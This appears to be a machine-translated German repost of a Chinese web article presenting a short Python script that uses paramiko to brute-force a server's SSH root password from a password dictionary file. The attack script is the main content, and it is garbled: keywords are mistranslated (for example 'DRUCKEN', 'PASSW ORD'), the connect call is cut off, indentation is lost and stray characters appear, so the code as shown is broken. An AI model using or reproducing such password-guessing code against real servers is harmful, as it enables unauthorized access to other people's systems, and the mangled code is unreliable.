Heim > Artikel > Backend-Entwicklung > Verwenden Sie Python, um den Root-Passwort-Beispielcode mit Brute-Force zu knacken
Umgebungsvorbereitung:
1. Installieren Sie das paramiko-Modul
2. Öffnen Sie Port 22 für den Server-SSH-Dienst
Bitte beachten Sie den Code unten
#!/usr/bin/py
#-*- Kodierung: utf-8 -*-
import paramiko
ssh = paramiko .SSHClient( ) #Instantiation class
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #Die automatische Antwort beim Herstellen einer Verbindung lautet „Ja“
d = file('/root/a.txt') #Dictionary file path
for i in d.xreadlines( ): # LoopPassword Dictionary
i = i.strip() #Entfernen Sie die Leerzeichen vor und nach
if not i: #Enter wenn der Wert leer ist. Die nächste Runde der Schleife
, PORT = 22, Benutzername = 'ROOT', PASSW ORD = i)
🎜> DRUCKEN'ROOT Passwort ist', i #Wenn das Passwort korrekt ist, ist das Passwort
Aus der Schleife ausbrechen :
Das obige ist der detaillierte Inhalt vonVerwenden Sie Python, um den Root-Passwort-Beispielcode mit Brute-Force zu knacken. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!